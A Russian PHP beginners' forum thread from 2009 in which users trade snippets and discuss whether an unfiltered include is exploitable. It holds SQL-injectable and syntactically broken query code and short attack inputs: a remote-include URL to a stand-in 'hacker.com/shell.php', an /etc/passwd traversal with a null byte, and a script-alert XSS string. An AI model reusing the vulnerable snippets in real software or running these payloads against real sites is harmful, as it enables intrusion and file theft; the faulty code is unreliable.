[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    проьбовал точно также....
    это и есть кусок кода.. до этого просто вывожу список файлов в папке.. все ok..
    print_r($files); -- ok
    тоже самое....
     
    5 people like this.
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    include "./include/$files[$id]"; - так неправильно, массив если в двойных кавычках, то только в {}, или как у art2222

    плюс чо это за инклуд такой в цикле?О_о
     
  3. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    есть textarea (html)
    В нем текст такого вида

    :Alex:
    -Nikolay-
    +Rikko+

    и т.д. (не знаю скоко таких записей)
    нужно чтобы все эти слова (до единого) выполнили запрос к mysql

    ........ WHERE name='строка'

    думаю поняли
    для начало просто запрос чтобы выполнял (ниче не выводил)
     
  4. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    передаешь значение текстари формой скрипту, потом

    PHP:

    $a 
    explode('\n'$_POST['textarea']); 
    $query 'select ..... where ';
    foreach(
    $a =>$zn) {
    $a .= "name='$zn' or"
    }

    как то так.
     
  5. art2222

    art2222 Elder - Старейшина

    Joined:
    28 Apr 2008
    Messages:
    118
    Likes Received:
    57
    Reputations:
    10
    ну или например так:
    PHP:
    <?php
        $arr 
    explode("\n"$_POST['textarea']);
        foreach (
    $arr as $text)
            
    mysql_query("DELETE FROM users WHERE name = '$text'");
    ?>
    От sql-inj сам насочиняй что-нибудь)

    2Krist_ALL
    \n в двойных кавычках надо указывать.
     
    #9705 art2222, 21 Apr 2009
    Last edited: 21 Apr 2009
  6. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Для защиты от скули можно юзать ф-ю mysql_escape_string()
    Пример:
    PHP:
    <?php 
        $arr 
    explode("\n"$_POST['textarea']); 
        foreach (
    $arr as $text
        
    mysql_query("DELETE * FROM users where name='".mysql_escape_string($text)."'";$result mysql_query($query); 
    ?>
    Вроде так, писал на быструю руку...
     
    #9706 -m0rgan-, 21 Apr 2009
    Last edited: 21 Apr 2009
    1 person likes this.
  7. awdrg

    awdrg Member

    Joined:
    30 Jan 2009
    Messages:
    195
    Likes Received:
    31
    Reputations:
    1
    Скажите пожалуйста, где можно найти список всех браузеров с точными версиями, мне это надо для сокетов.
    Например
    Code:
    'user_agent' => 'Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061015 Firefox/3.0
     
  8. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    Не все, но много: http://ru.wikipedia.org/wiki/User_agent
     
    1 person likes this.
  9. nilux

    nilux Elder - Старейшина

    Joined:
    19 Aug 2005
    Messages:
    100
    Likes Received:
    33
    Reputations:
    0
    допустим на сайте есть такой код:
    Code:
    include("page".$GET['id'].".php");
    Причём id ничём не фильтруется. Может ли это привести к плачевным последствиям?
     
    1 person likes this.
  10. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    Нет, это безопасно
    Главное , что у тебя не было важных файлов, которые начинались с page*.php.
    Можно будет приинклудить любой файл начинающийся с "page"
    А если у тебя будет папка "page" ,ТО это тоже даст свои плоды :
    $GET['id']=/admin
    include("page".$GET['id'].".php")
    В итоге получится приинклудится "page/admin.php"
     
    #9710 DDoSька, 23 Apr 2009
    Last edited: 23 Apr 2009
    1 person likes this.
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Это вообще небезопасно, если честно. Фильтровать обязательно. Хотя бы от XSS (вообще-то)
     
  12. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    Фильтровать-то обязательно надо - понятно, а каким образом там появятся XSS ?
     
    1 person likes this.
  13. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    +1, тоже стало интересно.
     
  14. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    Подскажите функцию которая определяет есть ли кусочек слова (к примеру в $_GET['my_get'])(не путайте с проверкой целой части слов)
    Если есть кусочек слова то выводил что нибуть

    зы Pashkela тоже интересно насчет XSS :D
     
    3 people like this.
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Ну вот тут почитайте, например:

    http://www.virtuax.be/fztr/index.php?title=XSS_Intraframe_Logger

    и тут кое-что:

    http://securityvulns.ru/Tdocument29.html

    а также LFI (PHP-inj):

    http://n0ns3ns3.livejournal.com/219202.html (ctrl+f "include")
     
    #9715 Pashkela, 23 Apr 2009
    Last edited: 23 Apr 2009
  16. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    Мы хотели пример на данном куске кода выше, который показа nilux
    /index.php?page=http://hacker.com/shell.php).
    В скрипте nilux`не проинклудилось бы
     
    #9716 DDoSька, 23 Apr 2009
    Last edited: 23 Apr 2009
  17. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 DDoSька:

    это врядли можно продемонстрировать полноценно, когда выложено только:

    PHP:
    include("page".$GET['id'].".php");
    Чтобы понять, что тут КОНКРЕТНЫЙ LFI, просто прочтите то, чему вы поверите:

    http://forum.antichat.ru/thread23501.html

    и не надо меня впредь просить искать уязвимость в коде:

    PHP:
    $a $a+1;
    остальной код (скрытый) имеет значение, для демонстрации уязвимости, когда просят именно так - "нет ты скажи, как именно здесь можно всё похерить"

    а я не говорил о RFI, тут LFI, что очень часто достаточно

    т.е. например:

    /index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd%00 очень даже просто могло бы, при определенных обстоятельствах, дать свои плоды
     
    #9717 Pashkela, 23 Apr 2009
    Last edited: 23 Apr 2009
    1 person likes this.
  18. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    Это точно , от xss от отшли к php-inc
    да и там "page1.php"
    page/../../config.php , разве даст плоды?
     
  19. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    /index.php?page="><script>alert(xss)</script>

    так лучше?:)

    Просто кому XSS нужен, когда LFI есть:)

    ../ - означает подняться на один уровень выше, вообще-то, неважно, в какой папке ты сейчас
     
    #9719 Pashkela, 23 Apr 2009
    Last edited: 23 Apr 2009
  20. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    Не знал, что это так влияет, спасибо за пример :) Хоть провда и просили про XSS
     
    #9720 DDoSька, 23 Apr 2009
    Last edited: 23 Apr 2009
Thread Status:
Not open for further replies.